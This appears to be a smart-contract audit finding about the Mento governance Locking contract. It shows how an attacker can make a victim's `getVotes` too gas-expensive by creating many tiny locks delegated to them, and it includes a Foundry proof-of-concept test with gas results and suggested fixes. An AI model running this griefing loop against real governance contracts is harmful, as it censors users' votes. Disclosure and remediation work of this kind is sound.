Dapper Honey Raccoon

medium

# Attacker can censor a user's votes by making `getVotes` gas expensive

## Summary

An attacker can censor a user's voting power by making `getVotes` calls gas-expensive.

## Vulnerability Detail

An attacker can set the victim as the delegate in multiple small locks.
For each lock, a line will be added to the delegate's balance in the `Locking` contract.

Then, when the victim is voting, the governor contract will call either `Locking.getVotes` or `Locking.getPastVotes`
to get the victim's voting power.

This voting power is calculated from the victim's balance.
But the balance is a set of lines. The more lines there are,
the more expensive the call to `Locking.getVotes` is.

As the attacker can register as much locks as he wants and
that the amount of token for a lock can be low, the attacker
can make the call to `Locking.getVotes` for the delegate too gas-consuming
that it doesn't fit in one block.

## Impact

**MEDIUM**

User is not able to vote because of gas required.

## Code Snippet

### Exploit

The attacker can create a lock and delegate it to any address.

The lock is created through [`Locking.lock`](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/Locking.sol#L83):
```solidity
  function lock(
    address account, // @audit free param, @audit-issue anyone can update the locked time and push back the full access to fund?
    address _delegate, // @audit free param, @audit-issue anyone can update the balance time and push back the full access to fund?
    uint96 amount,
    uint32 slopePeriod,
    uint32 cliff
  ) external override notStopped returns (uint256) {
    // @POC redacted
    addLines(account, _delegate, amount, slopePeriod, cliff, time, currentBlock); 
```

The [`addLines` internal function](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/LockingBase.sol#L190-L191) is called.
This function will add one line to the delegate's balance.

```solidity
  function addLines(
    address account,
    address _delegate,
    uint96 amount,
    uint32 slopePeriod,
    uint32 cliff,
    uint32 time,
    uint32 currentBlock
  ) internal {
    // @POC redacted
    accounts[_delegate].balance.addOneLine(counter, line, currentBlock);
```

`addOneLine` calls [`_addOneLine` which does multiple times](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/libs/LibBrokenLine.sol#L82-L93):
```solidity
  brokenLine.slopeChanges.addToItem(cliffEnd, safeInt(line.slope));
```

So slope items are added to storage.


### Consequences


`LockingVotes.getVotes` function retrieves the "actualValue":
```solidity
  function getVotes(address account) external view override returns (uint256) {
    uint32 currentBlock = getBlockNumber();
    uint32 currentWeek = roundTimestamp(currentBlock);
    return accounts[account].balance.actualValue(currentWeek, currentBlock);
  }
```

The [`actualValue` function](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/libs/LibBrokenLine.sol#L252-L269) makes a lot of calculations through `actualValueBack`
and [`actualValueForward` to get the actual value of the account](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/libs/LibBrokenLine.sol#L282-L304).

These functions both retrieve the slope items stored in `slopeChanges`.
For example, `actualValueForward` use the following code:
```solidity
    while (time < toTime) {
      bias = bias - (slope);

      int96 newSlope = safeInt(slope) + (brokenLine.slopeChanges[time]); // @POC: gas consumption here!
      require(newSlope >= 0, "slope < 0, something wrong with slope");
      slope = uint96(newSlope);

      time = time + 1;
    }
```

This will retrieve slope items stored.

As the attacker can store as much slope items through creating new locks,
he is able to increase the gas needed to retrieve the actual value (a.k.a voting power).


### Proof of Concept

A proof of concept was created.
It gives the results:

```text
  First gas consumption: 14992
  Second gas consumption: 450642
  Third gas consumption: 991613
```

The POC unit test shows the increase in gas consumption.

```solidity
  function test_zigtur_attackerCanIncreaseGasConsumptionForAnAccount() public {
    mentoToken.mint(charlie, 10 * (10**18)); // @POC: charlie = attacker

    uint256 firstGasBefore = gasleft();
    locking.getVotes(bob); // @POC: Bob is the victim
    uint256 firstGasAfter = gasleft();
    console.log("First gas consumption:", firstGasBefore - firstGasAfter);

    vm.startPrank(charlie);
    mentoToken.approve(address(locking), type(uint256).max);
    for(uint256 i; i < 1_000; i++) {
      locking.lock(charlie, bob, 104, 100, 100);
    }
    vm.stopPrank();

    uint256 secondGasBefore = gasleft();
    locking.getVotes(bob); // @POC: Bob is the victim
    uint256 secondGasAfter = gasleft();
    
    console.log("Second gas consumption:", secondGasBefore - secondGasAfter);

    vm.startPrank(charlie);
    mentoToken.approve(address(locking), type(uint256).max);
    for(uint256 i; i < 1_000; i++) {
      locking.lock(charlie, bob, 104, 100, 100);
    }
    vm.stopPrank();

    uint256 thirdGasBefore = gasleft();
    locking.getVotes(bob); // @POC: Bob is the victim
    uint256 thirdGasAfter = gasleft();
    
    console.log("Third gas consumption:", thirdGasBefore - thirdGasAfter);
  }
```


## Tool used

Manual Review

## Recommendation

Multiple ways to fix the issue:
- Reimplement the balance logic to get rid of lines (note that this seems heavy and hard to implement)
- Require the delegate to approve the account that wants to delegate to them

Another work-around would be to set a minimum amount for `Locking.lock`.